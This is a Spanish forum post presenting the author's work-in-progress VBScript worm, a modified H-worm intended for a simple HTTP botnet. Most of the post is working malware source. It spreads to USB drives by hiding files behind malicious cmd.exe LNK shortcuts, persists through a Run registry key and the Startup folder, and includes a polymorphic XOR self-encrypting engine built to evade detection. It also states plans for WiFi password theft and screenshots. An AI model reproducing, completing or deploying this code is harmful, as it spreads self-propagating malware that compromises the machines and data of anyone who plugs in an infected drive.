[Malware Modificado] H-worm VBS con Motor Polimorfico

A continuacion presento un nuevo tema donde expongo el desarrollo de un malware polimorfico, pretendo hacerlo solo en VBScript por la facilidad del lenguaje y porque el mismo me permite crear un modelo polimorfico, que pueda realizar lo siguiente.
1. Contaminar USB por archivos LNK
2. Robar contraseñas Wifi guardadas en Windows
3. Creacion de un Payload para crear una Botnet usando el protocolo HTTP
4. Capturas de pantalla
De esta forma tenemos un programa basico para creacion de una botnet sencilla. Este es el adelanto del codigo fuente.
Código
Set lnk_infect_houdini = New Basic_lnk_infec
Set mod_polimorfic_XOR = New Polimorfic_VBScripts_Motors
 
'mod_polimorfic_XOR.Polimorfic_VBS_XORSPLIT
 
'lnk_infect_houdini.install_lnk_drive_USB
'lnk_infect_houdini.uninstall
 
Class Basic_lnk_infec
 
dim shellobj,filesystemobj
dim installname,startup
dim lnkfile,lnkfolder,installdir
 
Private Sub Class_Initialize()
  installdir = "%temp%"
  lnkfile = True
  lnkfolder = True
  set shellobj = createobject("wscript.shell")
  set filesystemobj = createobject("scripting.filesystemobject")
  installname = wscript.scriptname
  startup = shellobj.specialfolders ("startup") & "\"
  installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
sub install_lnk_drive_USB
on error resume next
dim lnkobj,filename,foldername,fileicon,foldericon
upstart
for each drive in filesystemobj.drives
if  (drive.isready) and (drive.freespace  > 0) and (drive.drivetype  = 1)  then
    filesystemobj.copyfile wscript.scriptfullname,drive.path & "\" & installname,true
    if  filesystemobj.fileexists (drive.path & "\" & installname) then filesystemobj.getfile(drive.path & "\"  & installname).attributes = 6
    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
        if not lnkfile then exit for
        if  instr (file.name,".") then
            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                file.attributes = 6
                if  ucase (file.name) <> ucase (installname) then
                    filename = split(file.name,".")
                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                    if  instr (fileicon,",") = 0 then
                        log_ico = file.path
                    else 
                        log_ico = fileicon
                    end if
                    create_lnk drive.path & "\"  & filename (0) & ".lnk","/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit",log_ico
                end if
            end if
        end if
    next
    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
        if not lnkfolder then exit for
        folder.attributes = 6
        foldername = folder.name
        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
        if  instr (foldericon,",") = 0 then
            ico_log = folder.path
        else 
            ico_log = foldericon
        end if
        create_lnk drive.path & "\"  & foldername & ".lnk","/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit",ico_log
    next
end If
next
err.clear
end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
sub uninstall
on error resume next
dim filename
dim foldername
downstart
for  each drive in filesystemobj.drives
if (drive.isready) and (drive.freespace  > 0) and (drive.drivetype  = 1) then
  for each file in filesystemobj.getfolder ( drive.path & "\").files
         if  instr (file.name,".") then
             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                 file.attributes = 0
                 if  ucase (file.name) <> ucase (installname) then
                     filename = split(file.name,".")
                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                 else
                     filesystemobj.deletefile (drive.path & "\" & file.name)
                 end If
             else
                 filesystemobj.deletefile (file.path) 
             end if
         end if
     next
     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
         folder.attributes = 0
     next
end if
next
wscript.quit
end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
public sub upstart ()
on error resume next
set shellobj = createobject("wscript.shell")
shellobj.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\linux",  "wscript.exe //B " & chr(34) & installdir & installname & chr(34) , "REG_SZ"
filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
public sub downstart ()
on error resume next
shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\linux"
filesystemobj.deletefile startup & installname ,true
filesystemobj.deletefile wscript.scriptfullname ,true
end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
function create_lnk(file_name_lnk,arg_str,icon_log)
set lnkobj = shellobj.createshortcut(file_name_lnk) 
        lnkobj.windowstyle = 7
        lnkobj.targetpath = "cmd.exe"
        lnkobj.workingdirectory = ""
        lnkobj.arguments = arg_str
        lnkobj.iconlocation = icon_log
        lnkobj.save()
end function
end Class
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 
Class Polimorfic_VBScripts_Motors
  Dim lenalfavar, lenalfaspl
  Dim alfabet_var, alfabet_split
  Dim FileSystemObject
  Dim LABEL_TYPE_ENCRYPTER_XORSPLIT
  Dim LABEL_TYPE_ENCRYPTER_sutwo
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private Sub Class_Initialize()
  '
  ' Genera el objecto del sistema de manejo de ficheros,
  '
    alfabet_var = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 'len=52
    alfabet_split = "/\?#$@|°¬" 'len=9
    lenalfavar = len(alfabet_var)-1 '[0-51]
    lenalfaspl = len(alfabet_split)-1 '[0-7]
    set FileSystemObject = createobject("scripting.filesystemobject")
 
    LABEL_TYPE_ENCRYPTER_XORSPLIT = "'EncrypterXORSPLITV1.0"
  end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Public sub Polimorfic_VBS_XORSPLIT() 'Genera el proceso de Polimorfismo, cifrando y descifrandose a si mismo
      EncrypterVBS_code = FileSystemObject.opentextfile(wscript.scriptfullname,1).readall 'Se lee a si mismo (Si esta vacio produce un error)
      if instr(split(EncrypterVBS_code,vbcrlf)(0),"execute") <> 0 then 'Si esta cifrado entonces se decifra con Decode_VBS_XORSPLIT, busca la etiqueta y se vuelve a cifrar
        Code_VBS = Decode_VBS_XORSPLIT(EncrypterVBS_code)
          if split(Code_VBS,vbcrlf)(0) = LABEL_TYPE_ENCRYPTER_XORSPLIT then
            FileSystemObject.createtextfile(wscript.scriptname).write Encode_VBS_XORSPLIT(Code_VBS)
          else 
            wscript.quit
          end if
      else'Si no esta cifrado entonces añade la etiqueta LABEL_TYPE_ENCRYPTER_XORSPLIT al principio del codigo fuente y se cifra a si mismo
          EncrypterVBS_code = LABEL_TYPE_ENCRYPTER_XORSPLIT & vbcrlf & EncrypterVBS_code
          FileSystemObject.createtextfile(wscript.scriptname).write Encode_VBS_XORSPLIT(EncrypterVBS_code)
      end if
  end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Public Function Decode_VBS_XORSPLIT(code)
    dim String_One_Line_Code_VBS, var_temp_split
 
    String_One_Line_Code_VBS = split(split(code,vbcrlf)(0),"(")'Extrae la primera linea del codigo
    String_One_Line_Code_VBS(2) = KickString(String_One_Line_Code_VBS(2),String_One_Line_Code_VBS(1))
    String_One_Line_Code_VBS(2) = KickString(String_One_Line_Code_VBS(2),"),")
 
    'En String_One_Line_Code_VBS(2) esta el codigo cifrado, en String_One_Line_Code_VBS(3) esta el password
 
    var_temp_split = split(String_One_Line_Code_VBS(2),",")
    spliit = KickString(var_temp_split(1),chr(34))
    cifrado = KickString(var_temp_split(0),chr(34))
    password = KickString(split(String_One_Line_Code_VBS(3),",")(0),chr(34))
 
  'Extrae las cadenas y elimina comillas
 
    Decode_VBS_XORSPLIT = encode_xor(Str_split_decode(cifrado,spliit),Str_split_decode(password,spliit))' Descifra el VBScript
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Public Function Encode_VBS_XORSPLIT(VBScode)
    randomize
      modcode = "execute %0(%7(%1,%12),%7(%2,%12))" & vbcrlf
      modcode = modcode & "Function %0(%3,%4)" & vbcrlf
      modcode = modcode & "For %5 = 1 to len(%3)" & vbcrlf
      modcode = modcode & "%6 = %6 + 1" & vbcrlf
      modcode = modcode & "%0 = %0 & chr((asc(mid(%3,%5,1)))xor(asc(mid(%4,%6,1))))" & vbcrlf
      modcode = modcode & "if %6 = len(%4) then %6 = 0" & vbcrlf
      modcode = modcode & "next" & vbcrlf
      modcode = modcode & "end function" & vbcrlf
      modcode = modcode & "function %7(%8,%9)" & vbcrlf
      modcode = modcode & "%10 = split(%8,%9)" & vbcrlf
      modcode = modcode & "for %11 = LBound(%10) to Ubound(%10)" & vbcrlf
      modcode = modcode & "%7 = %7 & chr(%10(%11))" & vbcrlf
      modcode = modcode & "next" & vbcrlf
      modcode = modcode & "end function"
 
    var_split = Ramdon_var_spliter()
    password = random_String(16)
    cifrado = encode_xor(VBScode,password)
 
        for inx = 3 to 11 'Genera variable aleatorias en el codigo
          modcode = replace(modcode,"%" & inx,ramdon_vars(10))
        next
 
      'añade al codigo los nombres de las funciones, la llave de cifrado, el codigo cifrado... En resumen Encapsula el codigo cifrado
      modcode = replace(modcode,"%0",ramdon_vars(10)) 
      modcode = replace(modcode,"%12",AddComillas(var_Split))
      modcode = replace(modcode,"%1",AddComillas(Str_split_encode(cifrado,var_split)))
      modcode = replace(modcode,"%2",AddComillas(Str_split_encode(password,var_Split)))
    Encode_VBS_XORSPLIT = modcode
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private Function Ramdon_var_spliter()'extrae el caracter random de alfabet_split
    randomize
    Random_number = rnd*lenalfaspl
    if Random_number < 1 then Random_number = 1
    Ramdon_var_spliter = mid(alfabet_split,Random_number,1)
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private Function ramdon_vars(lenvar) 'Genera un String con caracteres aleatorios del String alfabet_var de tamaño lenvar
    randomize
      For inx = 1 to lenvar
        Random_number = Fix(rnd * lenalfavar)
        if Random_number < 1 then Random_number = 1
        ramdon_vars = ramdon_vars & mid(alfabet_var,Random_number,1)
      next
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private Function random_String(lenvar) 'Devuelve un String aleatoria de caracteres ASCII de tamaño lenvar
    randomize
      For inx = 1 to lenvar
        random_String = random_String & chr(Fix(rnd*255))
      next
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private Function encode_xor(string_cliptext,password_spliter) 'Funcion de cifrado y descifrado con Or-Exclusiva (Xor)
    lenstr=len(string_cliptext):lenpa=len(password_spliter)
      For inx_String_cliptext = 1 to lenstr
        count_password_spliter = count_password_spliter + 1
        chr_cliptxt = Asc(mid(string_cliptext , inx_String_cliptext , 1))
        chr_pwr = Asc(mid(password_spliter,count_password_spliter,1))
        encode_xor = encode_xor & chr(chr_cliptxt Xor chr_pwr)
          if count_password_spliter => lenpa then count_password_spliter = 0
      next
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private function Str_split_decode(String_encode,password_spliter) 'Decodifica el cifrado split 
    array_Str_Encode = split(String_encode,password_spliter)
      for inx = LBound(array_Str_Encode) to Ubound(array_Str_Encode)
        Str_split_decode = Str_split_decode & chr(array_Str_Encode(inx))
      next
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private Function Str_split_encode(string_Cliptext,password_spliter) 'Codfifica con cifrado split
    Len_string_Cliptext = len(string_Cliptext)
      for inx = 1 to (Len_string_Cliptext-1)
        Str_split_encode = Str_split_encode & Cstr(Asc(mid(string_Cliptext,inx,1))) & password_spliter
      next
    Str_split_encode = Str_split_encode & Cstr(Asc(mid(string_Cliptext,Len_string_Cliptext,1)))
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private Function KickString(str1,str2):KickString = replace(str1,str2,""):End function 
  Private Function AddComillas(strr):AddComillas=chr(34)&strr&chr(34):end function 'Añade comillas
End Class
Aun esta en prueba pero lo basico esta hecho.

Saludos